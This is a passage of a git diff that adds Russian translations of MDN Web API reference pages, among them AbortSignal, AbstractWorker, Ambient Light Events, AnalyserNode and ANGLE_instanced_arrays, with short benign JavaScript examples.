+slug: Web/API/AbortSignal/aborted
+tags:
+  - Свойство
+  - Экспериментально
+translation_of: Web/API/AbortSignal/aborted
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>Свойство <strong><code>aborted</code></strong> только для чтения, оно возвращает {{domxref("Boolean")}}, который указывает прерван(<code>true</code>) DOM зыпрос(ы), с которым связан сигнал, или нет(<code>false</code>).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var isAborted = abortSignal.aborted;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("Boolean")}}</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем фрагменте мы создаём новый объект {{domxref("AbortController")}}, и получаем его {{domxref("AbortSignal")}} (доступно в свойстве <code>signal</code>). Позже мы проверяем, был ли прерван сигнал, используя свойство <code>aborted</code>, и выводим соответствующее сообщение в консоль.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+// ...
+
+signal.aborted ? console.log('Запрос был отменён') : console.log('Запрос не отменён');
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortsignal-onabort', 'onabort')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.AbortSignal.aborted")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abortsignal/index.html b/files/ru/web/api/abortsignal/index.html
new file mode 100644
index 0000000000..fb44706bc7
--- /dev/null
+++ b/files/ru/web/api/abortsignal/index.html
@@ -0,0 +1,98 @@
+---
+title: AbortSignal
+slug: Web/API/AbortSignal
+translation_of: Web/API/AbortSignal
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>AbortSignal</code></strong> интерфейс представляет собой объект сигнала, который позволяет вам общаться с DOM запросом (например, Fetch) и прервать его при необходимости с помощью объекта {{domxref("AbortController")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>AbortSignal также наследует свойства от своего родительского интерфейса, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AbortSignal.aborted")}} {{readonlyInline}}</dt>
+ <dd>Это {{domxref("Boolean")}}, который указывает, отменен ли запрос(ы), с которым связывался сигнал, отменён (<code>true</code>) или нет (<code>false</code>).</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("AbortSignal.onabort")}}</dt>
+ <dd>Вызывается когда происходит событие {{event("abort_(dom_abort_api)", "abort")}}, т.е. когда DOM запрос(ы), с которым связывался сигнал, отменён.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>AbortSignal наследует методы от родительского интерфейса, {{domxref("EventTarget")}}.</em></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем фрагменте мы будем загружать видео используя <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</p>
+
+<p>Сначала мы создаём контроллер с помощью контруктора {{domxref("AbortController.AbortController","AbortController()")}}, а затем получаем ссылку на связанный объект {{domxref("AbortSignal")}} используя свойство {{domxref("AbortController.signal")}}.</p>
+
+<p>Когда <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запрос</a> инициируется, мы передаём <code>AbortSignal</code> в качестве опции внутрь объекта параметров запроса (см. <code>{signal}</code> ниже). Это связывает сигнал и контроллер с fetch запросом и позволяет нам прервать его, вызвав {{domxref("AbortController.abort()")}}, как показано ниже во втором прослушивателе событий.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Загрузка прервана');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Ошибка загрузки: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Когда <code>abort()</code> вызывается, <code>fetch()</code> обещаение отклоняется с <code>AbortError</code>.</p>
+</div>
+
+<div class="warning">
+<p>Текущая версия Firefox отклоняет обещание с <code>DOMException</code></p>
+</div>
+
+<p>Вы можете найти полный рабочий пример на GitHub — см. <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> (<a href="https://mdn.github.io/dom-examples/abort-api/">см. как он работает в живую</a>).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-AbortSignal', 'AbortSignal')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.AbortSignal")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="https://developers.google.com/web/updates/2017/09/abortable-fetch">Abortable Fetch</a> by Jake Archibald</li>
+</ul>
diff --git a/files/ru/web/api/abortsignal/onabort/index.html b/files/ru/web/api/abortsignal/onabort/index.html
new file mode 100644
index 0000000000..068d91813d
--- /dev/null
+++ b/files/ru/web/api/abortsignal/onabort/index.html
@@ -0,0 +1,53 @@
+---
+title: AbortSignal.onabort
+slug: Web/API/AbortSignal/onabort
+translation_of: Web/API/AbortSignal/onabort
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>Cвойство <strong><code>onabort</code></strong> интерфейса {{domxref("AbortSignal")}} является обработчиком события {{event("abort_(cancellable_fetch)", "abort")}} и вызывается при его срабатывании, т.е. когда fetch запрос(ы), с которым связан сигнал, был отменён.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">abortSignal.onabort = function() { ... };</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем фрагменте мы создаём новый объект {{domxref("AbortController")}}, и получаем его {{domxref("AbortSignal")}} (доступно в свойстве <code>signal</code>). Позже с помощью свойства <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">onabort</span></font> мы проверяем, был ли прерван сигнал, и выводим соответствующее сообщение в консоль.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+signal.onabort = function() {
+  console.log('Запрос прерван');
+};
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortsignal-aborted', 'onabort')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_брузерами">Совместимость с брузерами</h2>
+
+
+
+<p>{{Compat("api.AbortSignal.onabort")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ru/web/api/abstractworker/index.html b/files/ru/web/api/abstractworker/index.html
new file mode 100644
index 0000000000..cca9299e6e
--- /dev/null
+++ b/files/ru/web/api/abstractworker/index.html
@@ -0,0 +1,95 @@
+---
+title: AbstractWorker
+slug: Web/API/AbstractWorker
+tags:
+  - API
+  - AbstractWorker
+  - Interface
+  - SharedWorker
+  - Web Workers
+  - Web Workers API
+  - Worker
+  - Абстрактный
+  - Интерфейс
+translation_of: Web/API/AbstractWorker
+---
+<div>{{ APIRef("Web Workers API") }}</div>
+
+<div>Интерфейс <span class="seoSummary"><strong><code>AbstractWorker (абстрактный воркер)</code></strong></span> , как часть <span class="seoSummary"> <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></span> - это абстрактный интерфейс, который определяет общие свойства и методы для всех типов воркеров: для базового <span class="seoSummary">{{domxref("Worker")}}</span> и также для <span class="seoSummary">{{domxref("ServiceWorker")}}</span> и <span class="seoSummary">{{domxref("SharedWorker")}}</span>. Вы напрямую не взаимодкйствуете с <code>AbstractWorker</code>, как и с абстрактным классом.</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс <code>AbstractWorker</code></em><em> не наследует никаких свойств</em></p>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>{{ domxref("EventListener") }}, который вызывается каждый раз, когда {{domxref("ErrorEvent")}} с типом <code>error</code> всплывает через воркер.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс <code>AbstractWorker</code></em><em> не наследует и не реализует никаких свойств</em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Прямого использования <code>AbstractWorker</code> не будет в коде, так как это абстрактный интерфейс. Вместо этого, взаимодействие будет происходить либо с {{domxref("Worker")}}, либо с {{domxref("SharedWorker")}}, оба из которых наследуют свойства от <code>AbstractWorker</code>.</p>
+
+<p>Ниже фрагмент кода, который демонстрирует создание нового <code>Worker</code> с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}; ещё здесь показан способ как послать сообщению воркеру.</p>
+
+<pre class="brush: js">var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value, second.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>Код воркера загружается из файла <code>"worker.js"</code>. В данном коде предполагается, что есть элемент {{HTMLElement("input")}}, его определяет переменная <code>first</code>. Для события {{domxref("change")}} элемента создается обработчик, поэтому когда пользователь изменяет значение для <code>first</code>, отправляется сообщение в воркер для уведомления его об данных изменениях.</p>
+
+<p>Вы можете найти больше примеров в репозитории MDN Web Docs на GitHub:</p>
+
+<ul>
+ <li><a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Базовый пример для dedicated worker</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">запустить dedicated worker</a>).</li>
+ <li><a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Базовый пример для shared worker</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">запустить shared worker</a>).</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Без изменений {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Workers", "#the-abstractworker-abstract-interface", "AbstractWorker")}}</td>
+   <td>{{Spec2("Web Workers")}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.AbstractWorker")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейсы для {{domxref("Worker")}}, {{domxref("ServiceWorker")}}, и {{domxref("SharedWorker")}} , которые все основаны на <code>AbstractWorker</code>.</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Workers</a></li>
+</ul>
diff --git a/files/ru/web/api/ambient_light_events/index.html b/files/ru/web/api/ambient_light_events/index.html
new file mode 100644
index 0000000000..c6bd42b7d0
--- /dev/null
+++ b/files/ru/web/api/ambient_light_events/index.html
@@ -0,0 +1,112 @@
+---
+title: Ambient Light Events
+slug: Web/API/Ambient_Light_Events
+tags:
+  - Освещенность
+translation_of: Web/API/Ambient_Light_Events
+---
+<div>{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}</div>
+
+<p>Cобытия "окружающего света" -  удобный способ уведомить веб-страницу или приложение о каком-либо изменении интенсивности света. Это позволяет им реагировать на такое изменение, например, путем изменения цветового контраста пользовательского интерфейса (UI) или путем изменения экспозиции, необходимой для фотографирования.</p>
+
+<h2 id="Световые_события">Световые события</h2>
+
+<p>Когда датчик света устройства обнаруживает изменение уровня освещенности, он уведомляет браузер об этом изменении. Когда браузер получает такое уведомление, он вызывает {{domxref("DeviceLightEvent")}} событие, которое предоставляет информацию о точной интенсивности света.</p>
+
+<p>Это событие может быть захвачено на уровне объектом окна, используя метод {{domxref("EventTarget.addEventListener","addEventListener")}}  (используя имя события {{event("devicelight")}} ) или путем присоединения обработчика событий к свойству {{domxref("window.ondevicelight")}}.</p>
+
+<p>После того, как захвачен объект события дает доступ к интенсивности света, выраженного в <a href="http://en.wikipedia.org/wiki/Lux">lux</a> через свойство {{domxref("DeviceLightEvent.value")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.addEventListener('devicelight', function(event) {
+  var html = document.getElementsByTagName('html')[0];
+
+  if (event.value &lt; 50) {
+    html.classList.add('darklight');
+    html.classList.remove('brightlight');
+  } else {
+    html.classList.add('brightlight');
+    html.classList.remove('darklight');
+  }
+});</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("AmbientLight", "", "Ambient Light Events")}}</td>
+   <td>{{Spec2("AmbientLight")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceLightEvent")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceLightEvent")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>support</td>
+   <td>{{CompatGeckoMobile("15.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Событие {{event("devicelight")}} реализуется и включено по умолчанию в Firefox Mobile для Android (15.0) и в Firefox OS (B2G). Начиная с Gecko 22.0{{geckoRelease("22.0")}} реализация рабочего стола для Mac OS X также доступна. Поддержка Windows 7 находится в стадии разработки (см. {{bug(754199)}}).</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("DeviceLightEvent")}}</li>
+ <li>{{event("devicelight")}}</li>
+</ul>
diff --git a/files/ru/web/api/analysernode/index.html b/files/ru/web/api/analysernode/index.html
new file mode 100644
index 0000000000..13032fbbf8
--- /dev/null
+++ b/files/ru/web/api/analysernode/index.html
@@ -0,0 +1,183 @@
+---
+title: AnalyserNode
+slug: Web/API/AnalyserNode
+translation_of: Web/API/AnalyserNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p><strong><code>AnalyserNode</code></strong><strong> </strong>интерфейс который предоставляет частоту (frequency) в реальном времени.  Элемент {{domxref("AudioNode")}} который пропускает аудиопоток неизменным от ввода (input) до вывода (output), но позволяет использовать генерируемые данные, обрабатывать или создавать аудиовизуализацию.</p>
+
+<p><code>AnalyserNode</code> имеет только один ввод и один вывод. Узел работает даже если вывод не подсоединен.</p>
+
+<p><img alt="Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT." src="https://mdn.mozillademos.org/files/12970/fttaudiodata_en.svg" style="height: 206px; width: 693px;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Количество входов</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Количество выводов</th>
+   <td><code>1</code> (but may be left unconnected)</td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count mode</th>
+   <td><code>"explicit"</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Количество каналов</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel interpretation</th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Наследование">Наследование</h2>
+
+<p>Интерфейс унаследован от  следующих родительских интерфейсов:</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.AnalyserNode", "AnalyserNode()")}}</dt>
+ <dd>Creates a new instance of an <code>AnalyserNode</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.fftSize")}}</dt>
+ <dd>Is an unsigned long value representing the size of the FFT (<a href="http://en.wikipedia.org/wiki/Fast_Fourier_transform" title="/en-US/docs/">Fast Fourier Transform</a>) to be used to determine the frequency domain.</dd>
+ <dt>{{domxref("AnalyserNode.frequencyBinCount")}} {{readonlyInline}}</dt>
+ <dd>Is an unsigned long value half that of the FFT size. This generally equates to the number of data values you will have to play with for the visualization.</dd>
+ <dt>{{domxref("AnalyserNode.minDecibels")}}</dt>
+ <dd>Is a double value representing the minimum power value in the scaling range for the FFT analysis data, for conversion to unsigned byte values — basically, this specifies the minimum value for the range of results when using <code>getByteFrequencyData()</code>.</dd>
+ <dt>{{domxref("AnalyserNode.maxDecibels")}}</dt>
+ <dd>Is a double value representing the maximum power value in the scaling range for the FFT analysis data, for conversion to unsigned byte values — basically, this specifies the maximum value for the range of results when using <code>getByteFrequencyData()</code>.</dd>
+ <dt>{{domxref("AnalyserNode.smoothingTimeConstant")}}</dt>
+ <dd>Is a double value representing the averaging constant with the last analysis frame — basically, it makes the transition between values over time smoother.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Float32Array")}} array passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getByteFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Float32Array")}} array passed into it.</dd>
+ <dt>{{domxref("AnalyserNode.getByteTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<div class="note">
+<p><strong>Note</strong>: See the guide <a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a> for more information on creating audio visualizations.</p>
+</div>
+
+<h3 id="Basic_usage">Basic usage</h3>
+
+<p>The following example shows basic usage of an {{domxref("AudioContext")}} to create an <code>AnalyserNode</code>, then {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> demo (see <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a> for relevant code).</p>
+
+<pre class="brush: js notranslate">var audioCtx = new(window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+// ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// Get a canvas defined with ID "oscilloscope"
+var canvas = document.getElementById("oscilloscope");
+var canvasCtx = canvas.getContext("2d");
+
+// draw an oscilloscope of the current audio source
+
+function draw() {
+
+  requestAnimationFrame(draw);
+
+  analyser.getByteTimeDomainData(dataArray);
+
+  canvasCtx.fillStyle = "rgb(200, 200, 200)";
+  canvasCtx.fillRect(0, 0, canvas.width, canvas.height);
+
+  canvasCtx.lineWidth = 2;
+  canvasCtx.strokeStyle = "rgb(0, 0, 0)";
+
+  canvasCtx.beginPath();
+
+  var sliceWidth = canvas.width * 1.0 / bufferLength;
+  var x = 0;
+
+  for (var i = 0; i &lt; bufferLength; i++) {
+
+    var v = dataArray[i] / 128.0;
+    var y = v * canvas.height / 2;
+
+    if (i === 0) {
+      canvasCtx.moveTo(x, y);
+    } else {
+      canvasCtx.lineTo(x, y);
+    }
+
+    x += sliceWidth;
+  }
+
+  canvasCtx.lineTo(canvas.width, canvas.height / 2);
+  canvasCtx.stroke();
+}
+
+draw();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.AnalyserNode")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/angle_instanced_arrays/index.html b/files/ru/web/api/angle_instanced_arrays/index.html
new file mode 100644
index 0000000000..558e053527
--- /dev/null
+++ b/files/ru/web/api/angle_instanced_arrays/index.html
@@ -0,0 +1,81 @@
+---
+title: ANGLE_instanced_arrays
+slug: Web/API/ANGLE_instanced_arrays
+translation_of: Web/API/ANGLE_instanced_arrays
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Расширение <strong>ANGLE_instanced_arrays</strong> является частью API WebGL и позволяет рисовать один и тот же объект или группы похожих объектов несколько раз, если они используют одни и те же данные вершин, количество примитивов и тип.</p>
+
+<p>Доступ к WebGL расширениям можно получить с помощью метода {{domxref("WebGLRenderingContext.getExtension()")}}. Для получения дополнительной информации см. также в <a href="/en-US/docs/Web/API/WebGL_API/Using_Extensions">Использование расширений</a> в  <a href="/en-US/docs/Web/API/WebGL_API/Tutorial">WebGL руководстве</a>.</p>
+
+<div class="note">
+<p><strong>Доступность:</strong> Это расширение доступно только для {{domxref("WebGLRenderingContext", "WebGL1", "", 1)}} контекстов. В {{domxref ("WebGL2RenderingContext", "WebGL2", "", 1)}}, функциональность этого расширения доступна в контексте WebGL2 по умолчанию, а константы и методы доступны без суффикса " <code>ANGLE</code> ".</p>
+
+<p>Несмотря на название " ANGLE ", это расширение работает на любом устройстве, если аппаратное обеспечение поддерживает его, а не только на Windows при использовании библиотеки ANGLE . " ANGLE " просто указывает, что это расширение было написано авторами библиотеки ANGLE.</p>
+</div>
+
+<h2 id="Константы">Константы</h2>
+
+<p>Это расширение предоставляет одну новую константу, которую можно использовать в {{domxref("WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} методе:</p>
+
+<dl>
+ <dt><code>ext.VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE</code></dt>
+ <dd>Возвращает {{domxref("GLint")}} , описывающий частотный делитель, используемый для упомянутого перевода в {{domxref("WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} в качестве параметра <code>pname</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Это расширение предоставляет три новых метода:</p>
+
+<dl>
+ <dt>{{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}}</dt>
+ <dd>
+ <p>Behaves identically to {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} except that multiple instances of the range of elements are executed, and the instance advances for each iteration.</p>
+ </dd>
+ <dt>{{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}</dt>
+ <dd>Ведет себя идентично {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} за исключением того, что выполняется несколько экземпляров набора элементов и экземпляр перемещается между каждым набором</dd>
+ <dt>{{domxref("ANGLE_instanced_arrays.vertexAttribDivisorANGLE()", "ext.vertexAttribDivisorANGLE()")}}</dt>
+ <dd>
+ <p>Изменяет скорость продвижения общих атрибутов вершин при визуализации нескольких экземпляров примитивов с помощью {{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}} и {{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Включение расширения:</p>
+
+<pre class="brush: js">var ext = gl.getExtension('ANGLE_instanced_arrays');
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ANGLE_instanced_arrays', '', 'ANGLE_instanced_arrays')}}</td>
+   <td>{{Spec2('ANGLE_instanced_arrays')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте https://github.com/mdn/browser-compat-data и отправьте нам запрос.</p>
+
+<p>{{Compat("api.ANGLE_instanced_arrays")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.getExtension()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.drawArraysInstanced()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.drawElementsInstanced()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.vertexAttribDivisor()")}}</li>
+</ul>
diff --git a/files/ru/web/api/animation/cancel/index.html b/files/ru/web/api/animation/cancel/index.html
new file mode 100644
index 0000000000..b5b4d0cd4a
--- /dev/null
+++ b/files/ru/web/api/animation/cancel/index.html
@@ -0,0 +1,110 @@
+---
+title: Animation.cancel()
+slug: Web/API/Animation/cancel
+translation_of: Web/API/Animation/cancel
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</p>
+
+<p>Метод <code><strong>cancel()</strong></code> API Web Animation интерфейса {{domxref("Animation")}} очищает все {{domxref("KeyframeEffect")}} вызванной этой анимацией и прекращает его воспроизведение.</p>
+
+<div class="note">
+<p>Когда анимация отменена, её {{domxref("Animation.startTime", "startTime")}} и {{domxref("Animation.currentTime", "currentTime")}} устанавливаются в <code>null</code>.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>Animation</em>.cancel();</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>None.</p>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>None.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Этот метод не выбрасывает напрямую исключения; однако, если {{domxref("Animation.playState", "playState")}} анимации во время отмены ничего кроме <code>"idle"</code>, {{domxref("Animation.finished", "current finished promise", "", 1)}} отклоняется с помощью {{domxref("DOMException")}} названным <code>AbortError</code>.</p>
+
+<dl>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
